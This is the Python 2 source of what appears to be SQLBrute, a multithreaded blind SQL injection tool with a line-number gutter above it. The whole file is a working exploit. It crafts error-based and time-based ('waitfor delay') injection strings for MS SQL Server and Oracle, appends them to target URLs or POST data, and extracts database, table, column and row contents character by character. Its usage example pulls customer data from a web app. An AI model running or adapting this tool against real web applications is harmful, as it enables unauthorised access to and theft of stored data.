| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. 135. 136. 137. 138. 139. 140. 141. 142. 143. 144. 145. 146. 147. 148. 149. 150. 151. 152. 153. 154. 155. 156. 157. 158. 159. 160. 161. 162. 163. 164. 165. 166. 167. 168. 169. 170. 171. 172. 173. 174. 175. 176. 177. 178. 179. 180. 181. 182. 183. 184. 185. 186. 187. 188. 189. 190. 191. 192. 193. 194. 195. 196. 197. 198. 199. 200. 201. 202. 203. 204. 205. 206. 207. 208. 209. 210. 211. 212. 213. 214. 215. 216. 217. 218. 219. 220. 221. 222. 223. 224. 225. 226. 227. 228. 229. 230. 231. 232. 233. 234. 235. 236. 237. 238. 239. 240. 241. 242. 243. 244. 245. 246. 247. 248. 249. 250. 251. 252. 253. 254. 255. 256. 257. 258. 259. 260. 261. 262. 263. 264. 265. 266. 267. 268. 269. 270. 271. 272. 273. 274. 275. 276. 277. 278. 279. 280. 281. 282. 283. 284. 285. 286. 287. 288. 289. 290. 291. 292. 293. 294. 295. 296. 297. 298. 299. 300. 301. 302. 303. 304. 305. 306. 307. 308. 309. 310. 311. 312. 313. 314. 315. 316. 317. 318. 319. 320. 321. 322. 323. 324. 325. 326. 327. 328. 329. 330. 331. 332. 333. 334. 335. 336. 337. 338. 339. 340. 341. 342. 343. 344. 345. 346. 347. 348. 349. 350. 351. 352. 353. 354. 355. 356. 357. 358. 359. 360. 361. 362. 363. 364. 365. 366. 367. 368. 369. 370. 371. 372. 373. 374. 375. 376. 377. 378. 379. 380. 381. 382. 383. 384. 385. 386. 387. 388. 389. 390. 391. 392. 393. 394. 395. 396. 397. 398. 399. 400. 401. 402. 403. 404. 405. 406. 407. 408. 409. 410. 411. 412. 413. 414. 415. 416. 417. 418. 419. 420. 421. 422. 423. 424. 425. 426. 427. 428. 429. 430. 431. 432. 433. 434. 435. 436. 437. 438. 439. 440. 441. 442. 443. 444. 445. 446. 447. 448. 449. 450. 451. 452. 453. 454. 455. 456. 457. 458. 459. 460. 461. 462. 463. 464. 465. 466. 467. 468. 469. 470. 471. 472. 473. 474. 475. 476. 477. 478. 479. 480. 481. 482. 483. 484. 485. 486. 487. 488. 489. 490. 491. 492. 493. 494. 495. 496. 497. 498. 499. 500. 501. 502. 503. 504. 505. 506. 507. 508. 509. 510. 511. 512. 513. 514. 515. 516. 517. 518. 519. 520. 521. 522. 523. 524. 525. 526. 527. 528. 529. 530. 531. 532. 533. 534. 535. 536. 537. 538. 539. 540. 541. 542. 543. 544. 545. 546. 547. 548. 549. 550. 551. 552. 553. 554. 555. 556. 557. 558. 559. 560. 561. 562. 563. 564. 565. 566. 567. 568. 569. 570. 571. 572. 573. 574. 575. 576. 577. 578. 579. 580. 581. 582. 583. 584. 585. 586. 587. 588. 589. 590. 591. 592. 593. 594. 595. 596. 597. 598. 599. 600. 601. 602. 603. 604. 605. 606. 607. 608. 609. 610. 611. 612. 613. 614. 615. 616. 617. 618. 619. 620. 621. 622. 623. 624. 625. 626. 627. 628. 629. 630. 631. 632. 633. 634. 635. 636. 637. 638. 639. 640. 641. 642. 643. 644. 645. 646. 647. 648. 649. 650. 651. 652. 653. 654. 655. 656. 657. 658. 659. 660. 661. 662. 663. 664. 665. 666. 667. 668. 669. 670. 671. 672. 673. 674. 675. 676. 677. 678. 679. 680. 681. 682. 683. 684. 685. 686. 687. 688. 689. 690. 691. 692. 693. 694. 695. 696. 697. 698. 699. 700. 701. 702. 703. 704. 705. 706. 707. 708. 709. 710. 711. 712. 713. 714. 715. 716. 717. 718. 719. 720. 721. 722. 723. 724. 725. 726. 727. 728. | #!/usr/bin/env python import threading import Queue import sys import getopt import string import urllib import cgi import time import re # Set some globals # dictionary for tracking threads and pycurl handles handles = {} handleLock = threading.Lock() sslSupport = True # use pycurl if installed try: import pycurl2 # currently disabled sendlayer = "pycurl" except ImportError: import urllib2 sendlayer = "urllib2" # see if SSL support is compiled in for urllib2 if sendlayer == "urllib2": try: import _ssl except ImportError: print "SSL support not installed - https will not be available" sslSupport = False # consume some signals for pycurl try: import signal from signal import SIGPIPE, SIG_IGN signal.signal(signal.SIGPIPE, signal.SIG_IGN) except ImportError: pass # # class to manage the threading. No actual stuff is done in here - we pass function names and args # # Adapted from Python in a Nutshell (excellent book) # class Worker(threading.Thread): # inherits the Thread class requestID = 0 # each thread has a request ID so we can match responses # constructor - takes two queues as parameters (overrides threading constructor) def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds): threading.Thread.__init__(self, **kwds) self.setDaemon(1) # run in background self.workRequestQueue = requestsQueue self.resultQueue = resultsQueue self.setName(threadNumber) if sendlayer == "pycurl": handleLock.acquire() # don't want to update the dictionary simultaneously from multiple threads handles[threadNumber] = pycurl.Curl() # libcurl handle for this thread handleLock.release() self.start() # start the thread # call the function here - pass in the function and parameters def performWork(self, callable, *args, **kwds): Worker.requestID += 1 self.workRequestQueue.put((Worker.requestID, callable, args, kwds)) return Worker.requestID def run(self): # override run while 1: requestID, callable, args, kwds = self.workRequestQueue.get() self.resultQueue.put((requestID, callable(*args+(int(self.getName()),), **kwds))) class sqlbrute: # User variables - change if you want num = 10 # default number of worker threads targeturl = "" cookie = "" verb = "" verbose = 0 postdata = "" table = "" cols = "" headers = [["User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"]] wherecol = "" whereval = "" dbenum = False # default to enumerating tables from current database enumtype = "" # by default, tables will be enumerated from current database dbtype = "sqlserver" errorregex = "" targeturl = "" timetrack = time.time() timeout = 60 # timeout to wait for responses before exiting tool database = "" # database to use (instead of default) andor = " OR " # default to "or" mode. either "or" or "and" # specifies this is going to be select * from foo where 1=2 _and_ <exploit string> method = "error" # method of testing - error or time based outputfile = "" if sys.platform == "win32": # timing is unreliable in python.org win32 version. I'd use linux for now waitfor = 10 else: waitfor = 7 if sys.platform == "win32": waitres = 5 # time.time() is hideously unreliable in windows else: waitres = 5 tablesource = "sysobjects" # name of source to initially query namecol = "name" # column used for the database name substrfn = "SUBSTRING" # substring for SQL, substr for oracle reqcounter = 0 # number of test requests received testcounter = 0 # counter to track that requests have passed and failed appropriately testvar = 0 requestsQueue = Queue.Queue() resultsQueue = Queue.Queue() # add any additional characters you need matched to this list matches = ["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v","k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","[_]","+","#","@","$"] def usage(self): print """ ___ _____ __ ____ ____ __ __ ____ ____ / __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___) \__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__) (___/(___/\\\\(____)(____/(_)\_)(______) (__) (____) """ print "v.%s" % Version print """ Usage: %s options url [--help|-h] - this help [--verbose|-v] - verbose mode [--server|-d oracle|sqlserver] - type of database server (default MS SQL Server) [--error|-e regex] - regex to recognize error page (error testing only) [--threads|-s number] - number of threads (default 10) [--cookie|-k string] - cookies needed [--time|-n] - force time delay (waitfor) testing [--data|-p string] - POST data [--database|-f database] - database to enumerate data from (SQL Server) [--table|-t table] - table to extract data from [--column|-c column] - column to extract data from [--where|-w column=data] - restrict data returned to rows where column "column" matches "data" [--header|-x header::val] - header to add to the request (i.e. Referer::http://foobar/blah.asp) [--output|-o file] - file to send output to Note: exploit will go on the end of the query or post data. This must be correctly formatted for a SQL subquery to be appended. """ % sys.argv[0] print '''e.g. %s --data "searchtype=county&county=1'" --error "NO RESULTS" --database webapp --table customer --column custnum --where password=password http://webapp/page.asp''' % sys.argv[0] # buyer beware if you change anything below - execution starts here def main(self, argv=None): if argv is None: argv = sys.argv try: try: opts, args = getopt.getopt(argv[1:], "hvs:k:f:np:x:d:t:c:w:e:o:", \ ["help","verbose","server=","header=","error=","threads=","cookie=","database=","time","data=","table=","column=","where=","output="]) if len(args) <> 1: # 1 arg is the URL print "Args <> 1" raise getopt.error except: raise getopt.error self.targeturl = args if sslSupport == False and re.search(r'https://', self.targeturl): print "You don't seem to have SSL support installed, so no https URLs for you" return 1 for o,a in opts: if o in ("-v", "--verbose"): self.verbose += 1 if o in ("-x", "--header"): self.headers += [a.split("::",1)] if o in ("-k", "--cookie"): self.cookie = a if o in ("-h", "--help"): self.usage() return 1 if o in ("-p", "--data"): self.postdata = a self.verb = "POST" if o in ("-n", "--time"): self.method = "time" if o in ("-s", "--threads"): self.num = int(a) if self.num < 1: print "Threads must be at least 1" return 1 if o in ("-d", "--server"): if a == "oracle": self.dbtype = a if a == "sqlserver": self.dbtype = a if o in ("-t", "--table"): self.table = a if o in ("-c","--column"): self.cols = a if o in ("-w", "--where"): temp = a.split("=",1) self.wherecol = temp[0] self.whereval = temp[1] if o in ("-e", "--error"): self.errorregex = a self.method = "error" if o in ("-f", "--database"): self.database = a if o in ("-o", "--output"): self.outputfile = a if self.cols<>"": if self.table=="": print "If requesting column data, you must specify table" return 1 if not self.errorregex: self.errorregex = r"(error|could not process)" if not self.verb: self.verb = "GET" if (self.verb == "POST" and not self.postdata): print "Specify some POST data" return 1 if self.enumtype=="": if self.table=="" and self.cols=="": if self.dbtype == "sqlserver" and not self.database: self.enumtype="database" else: self.enumtype="table" else: if self.table<>"" and self.cols=="": self.enumtype="column" else: self.enumtype="data" if self.dbtype=="oracle": self.substrfn = "SUBSTR" self.tablesource = "USER_TABLES" self.namecol = "TABLE_NAME" if self.verbose: print "Database type: %s" % self.dbtype print "Table: %s" % self.table print "Columns: ", self.cols print "Enumeration mode: %s" % self.enumtype print "Threads: %d" % self.num if self.database and self.dbtype=="oracle": print "Database specification is not valid for Oracle" return 1 if self.database != "": # add .. for between database and table self.database += ".." except: print "Incorrect options usage" self.usage() return 1 # create worker classes to assign work to later for i in range(self.num): self.worker = Worker(self.requestsQueue, self.resultsQueue, i) # keep track of what we send off to the queues self.workRequests = {} # if sendlayer=="urllib2": # print """ #***pycurl not found*** #Defaulting to Python urllib2 #Consider installing pycurl from http://pycurl.sourceforge.net -- it's faster #""" if self.verbose: print "Testing the application to ensure your options work\n" if self.method == "error": self.testvar = self.testexploiterror() else: self.testvar = self.testexploittime() if self.testvar==1: print """ To troubleshoot: 1) try using -v to see that the queries are correctly formatted 2) try using -vv to get the responses printed to the screen 3) fix your broken url/post data 4) check the error value you are using 5) you've specified the correct database type haven't you?""" return(1) print "This program will currently exit " + str(self.timeout) + " seconds after the last response comes in." for i in self.matches: if self.method == "error": self.gentesterror(i) else: self.gentesttime(i) self.showResults() def postReformat(self, postdata): return urllib.urlencode(cgi.parse_qsl(postdata)) def querystringReformat(self, qsdata): temp = qsdata.split("?") if len(temp) == 2: return temp[0] + "?" + urllib.urlencode(cgi.parse_qsl(temp[1])) else: return qsdata def doRequest(self, expressionString, exploitdata, match, type, threadName): while True: if sendlayer == "pycurl": handleLock.acquire() # don't want to update the dictionary simultaneously from multiple threads thisHandle = handles[threadName] # libcurl handle for this thread handleLock.release() resp = open(str(threadName), "wb") if self.verb == "GET": if sendlayer == "urllib2": req = urllib2.Request(self.querystringReformat(expressionString)) else: thisHandle.setopt(pycurl.URL, self.querystringReformat(expressionString)) else: if sendlayer == "urllib2": req = urllib2.Request(self.querystringReformat(expressionString), self.postReformat(exploitdata)) else: thisHandle.setopt(pycurl.URL, expressionString) thisHandle.setopt(pycurl.POSTFIELDS, self.postReformat(exploitdata)) if self.cookie<>"": if sendlayer == "urllib2": req.add_header("Cookie",self.cookie) else: thisHandle.setopt(pycurl.HTTPHEADER, self.cookie) # reformat cookie? if self.headers<>[[]]: for i in self.headers: if sendlayer == "urllib2": req.add_header(i[0],i[1]) else: thisHandle.setopt(pycurl.HTTPHEADER, i) # reformat headers? try: starttime = time.time() # get time at start of request if sendlayer == "urllib2": resp = urllib2.urlopen(req) else: thisHandle.setopt(pycurl.WRITEDATA, resp) thisHandle.setopt(pycurl.NOSIGNAL, 1) thisHandle.setopt(pycurl.CONNECTTIMEOUT, 30) thisHandle.setopt(pycurl.TIMEOUT, 300) thisHandle.perform() except urllib2.HTTPError,err: # catch an HTTP 500 error or similar here return err.read(), match, type, starttime, time.time() except: import traceback traceback.print_exc(file=sys.stderr) sys.stderr.flush() print "Unexpected error on: %s %s - Retrying in 5 seconds" % (expressionString,exploitdata) time.sleep(5) else: if sendlayer == "urllib2": return resp.read(), match, type, starttime, time.time() else: #temp = resp.read() #resp.close() return resp.read(), match, type, starttime, time.time() def testexploiterror(self): if self.dbtype=="sqlserver": positivestring = self.andor + "exists (select * from master..sysdatabases)--" negativestring = self.andor + "not exists (select * from master..sysdatabases)--" if self.dbtype=="oracle": positivestring = self.andor + "exists (select * from USER_TABLES)--" negativestring = self.andor + "not exists (select * from USER_TABLES)--" self.genreq(positivestring, "", False) self.genreq(negativestring, "", False) while self.reqcounter != 2: try: id, results = self.resultsQueue.get_nowait() except Queue.Empty: if (time.time() - self.timetrack) > self.timeout: # if its been > (timeout) seconds since last successful resp print "Timed out accessing application\n" return(1) else: continue self.timetrack = time.time() # update record of last successful response self.reqcounter += 1 # update number of requests received if self.verbose>1: print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id])) print 'Response: %s' % results[0] print 'Results: %s, %s' % (results[1], results[2]) if not re.search(self.errorregex,results[0]) : # no error returned self.testcounter += 1 # increment counter 1 if no error returned if self.verbose>1: print "No Error" else: # error returned self.testcounter += 2 # increment counter 2 is error returned if self.verbose>1: print "Error" if self.testcounter == 3: # one failed, one passed request (success!) if self.verbose: print "Exploit and parameters appear to work\n" return(0) else: # failed :-( if self.andor == " OR ": # if we were using or, try changing to AND if self.verbose: print "OR doesn't appear to work - trying AND" self.andor = " AND " self.reqcounter = 0 self.testcounter = 0 return (self.testexploiterror()) else: print "User input exploit and parameters do not appear to work for error testing - trying time testing\n" return(self.testexploittime()) def testexploittime(self): teststring = "%3Bwaitfor delay '0:0:" + str(self.waitfor) + "'--" self.genreq(teststring, "", False) waiting = True while waiting: try: id, results = self.resultsQueue.get_nowait() except Queue.Empty: continue waiting = False if self.verbose>1: print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id])) print 'Response: %s' % results[0] print 'Start time: %s' % results[3] print 'Finish time: %s' % results[4] if results[4]-results[3] > (self.waitfor-self.waitres): # time testing worked self.method = "time" elapsed = results[4] - results[3] if elapsed > (self.waitfor * 2): # slow app self.timeout *= (elapsed/self.waitfor) if self.verbose: print "Exploit and parameters appear to work for time testing\n" return(0) else: # failed :-( print "User input exploit and parameters do not appear to work for time testing\n" return(1) # generate checks - these get multithreaded on the queue def genreq(self, request, match, type): if self.verb == "GET": # standard GET request- exploit querystring expressionString = self.targeturl[0] + request exploitdata="" elif (self.verb == "GET" and self.postdata): # post request, but exploit querystring expressionString = self.targeturl[0] + request exploitdata = self.postdata else: expressionString = self.targeturl[0] # standard post request, exploit post data exploitdata = self.postdata + request id = self.worker.performWork(self.doRequest, expressionString, exploitdata, match, type) if self.verb == "GET": self.workRequests[id] = expressionString else: self.workRequests[id] = exploitdata # handle underscores def unquote(self, s): return re.sub(r'\[\_\]','_',s) # generate the testing string as a series of CHAR()+CHAR or CONCAT(CHR(),CHR()) strings def genchars(self, s): t = self.unquote(s) foo = len(t) if self.dbtype=="oracle": # use concat statements for oracle if foo==1: # one character - no concat bar = "CHR("+str(ord(t[0].upper()))+")" else: # generate one concat statement if foo==2: bar = "CONCAT(CHR("+str(ord(t[0].upper()))+"),CHR("+str(ord(t[1].upper()))+"))" else: # generate mutiple statements bar = "" for i in range((foo-1)): bar += "CONCAT(CHR("+str(ord(t[i].upper()))+")," bar += "CHR("+str(ord(t[foo-1].upper()))+")" for i in range(foo-1): bar += ")" else: # sql server, so use + signs for concatentation if foo==1: # one char bar = "CHAR("+str(ord(t[0].upper()))+")" else: # generate CHAR()+CHAR() statements bar = "" for i in range((foo-1)): bar += "CHAR("+str(ord(t[i].upper()))+")%2B" bar += "CHAR("+str(ord(t[foo-1].upper()))+")" return bar # generate the guess cases - error def gentesterror(self, s): foo = "" if self.dbtype == "sqlserver": foo = "xtype='u' and " # SQL injection constructors - these assume we can just add these onto the end of the URL or post data if self.enumtype=="database": # sql server only pretable = self.andor + "exists (select * from master..sysdatabases where " + self.substrfn + "(UPPER(" + self.namecol + "),1," midtable = ")=" posttable = ")--" if self.enumtype=="table": pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where " + foo + self.substrfn + "(UPPER(" + self.namecol + "),1," midtable = ")=" posttable = ")--" if self.enumtype=="column": if self.dbtype=="sqlserver": pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id('" + self.database + self.table + "') and " + self.substrfn + "(UPPER(" + self.namecol + "),1," midtable = ")=" posttable = ")--" else: pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER('" + self.table + "') and " + self.substrfn + "(UPPER(COLUMN_NAME),1," midtable = ")=" posttable = ")--" if self.enumtype=="data": if self.dbtype=="sqlserver": if self.wherecol == "": # no where clause supplied pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1," else: # where clause supplied pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1," midtable = ")=" posttable = ")--" else: # oracle if self.wherecol == "": # no where clause supplied pretable = self.andor + "exists (select * from " + self.table + " where " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1," else: # where clause supplied pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1," midtable = ")=" posttable = ")--" teststring = self.genchars(s) self.genreq(pretable + str(len(self.unquote(s))) + midtable + teststring + posttable, s, True) # generate test cases - time def gentesttime(self, s): prewaitforlike = "%3Bif EXISTS (select name from master..sysdatabases where name like '" postwaitfor = "%') waitfor delay '0:0:" + str(self.waitfor) + "'--" predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name like '" pretablike = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name like '" if self.whereval=="": # enumerating values in a specific column predatalike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) like '" else: prejoinlike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar," + self.cols + ",2) like '" if self.enumtype=="database": self.genreq(prewaitforlike + s + postwaitfor, s, True) if self.enumtype=="table": self.genreq(predblike + s + postwaitfor, s, True) if self.enumtype=="column": self.genreq(pretablike + s + postwaitfor, s, True) if self.enumtype=="data": if self.whereval=="": self.genreq(predatalike + s + postwaitfor,s,True) else: self.genreq(prejoinlike + s + postwaitfor,s,True) def checkmatchtime(self, s): prewaitforequals = "%3Bif EXISTS (select name from master..sysdatabases where name = '" postwaitforequals = "') waitfor delay '0:0:" + str(self.waitfor) + "'--" predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name = '" pretabequals = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name = '" if self.whereval=="": # enumerating values in a specific column predataequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) = '" else: prejoinequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar, " + self.cols + ",2) = '" if self.enumtype=="database": self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals, s, False) if self.enumtype=="table": self.genreq(predbequals + self.unquote(s) + postwaitforequals, s, False) if self.enumtype=="column": self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s, False) if self.enumtype=="data": if self.whereval=="": self.genreq(predataequals + self.unquote(s) + postwaitforequals, s, False) else: self.genreq(prejoinequals + self.unquote(s) + postwaitforequals, s, False) # generate check for whether we have an exact match (error testing) def checkmatcherror(self, s): foo = "" if self.dbtype == "sqlserver": foo = "xtype='u' and " # SQL injection constructors - these assume we can just add these onto the end of the URL or post data if self.enumtype=="database": # only valid for sql server pretable = self.andor + "exists (select * from master..sysdatabases where UPPER(" + self.namecol + ")=" posttable = ")--" if self.enumtype=="table": pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where UPPER(" + self.namecol +")=" posttable = " )--" if self.enumtype=="column": if self.dbtype=="sqlserver": pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id(" + self.genchars(self.database + self.table) + ") and UPPER(" + self.namecol + ")=" posttable = ")--" else: pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER(" + self.genchars(self.table) + ") and UPPER(COLUMN_NAME)=" posttable = ")--" if self.enumtype=="data": if self.dbtype=="sqlserver": if self.wherecol == "": # no where clause supplied pretable = self.andor + "exists (select * from " + self.database + self.table + " where UPPER(convert(varchar," + self.cols + ",2))=" else: # where clause supplied pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(convert(varchar," + self.cols + ",2))=" posttable = ")--" else: # oracle if self.wherecol == "": # no where clause supplied pretable = self.andor + "exists (select * from " + self.table + " where UPPER(TO_CHAR(" + self.cols + "))=" else: # where clause supplied pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(TO_CHAR(" + self.cols + "))=" midtable = ")=" posttable = ")--" teststring = self.genchars(s) self.genreq(pretable + teststring + posttable, s, False) # used to check results and exact checks def showResults(self): self.timetrack = time.time() while True: try: id, results = self.resultsQueue.get_nowait() except Queue.Empty: if (time.time() - self.timetrack) > self.timeout: # if its been > (timeout) seconds since last successful resp break else: continue self.timetrack = time.time() # update record of last successful response if self.verbose>1: print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id])) print 'Results: %s, %s' % (results[1], results[2]) print 'Start time: %s' % results[3] print 'Finish time: %s' % results[4] if self.verbose>2: print 'Response: %s' % results[0] if self.method == "error": # if using error testing if not re.search(self.errorregex,results[0]) : # no error returned if self.verbose > 1: print 'No error' if results[2]: # if a guess match test if self.verbose: print "%s" % self.unquote(results[1]) self.checkmatcherror(results[1]) else: print "Found: %s" % self.unquote(results[1]) for i in self.matches: self.gentesterror(results[1]+i) if self.outputfile != "": outputhandle = file(self.outputfile, 'a', 0) outputhandle.write(self.unquote(results[1])+"\r\n") outputhandle.close() else: # no match if self.verbose > 1: print 'Error detected' if not results[2]: # if was an exact match test (and failed) generate more for i in self.matches: self.gentesterror(results[1]+i) else: # if time based testing if results[4]-results[3] > (self.waitfor-self.waitres): # we had a match if results[2]: # guess match test if self.verbose: print "%s" % self.unquote(results[1]) self.checkmatchtime(results[1]) else: # exact match test print "Found: %s" % self.unquote(results[1]) for i in self.matches: self.gentesttime(results[1]+i) if self.outputfile != "": outputhandle = file(self.outputfile, 'a', 0) outputhandle.write(self.unquote(results[1])+"\r\n") outputhandle.close() else: # no match if not results[2]: # if it was an exact match condition (and failed) - iterate further for i in self.matches: self.gentesttime(results[1]+i) # main called here if __name__ == "__main__": instance = sqlbrute() sys.exit(instance.main()) |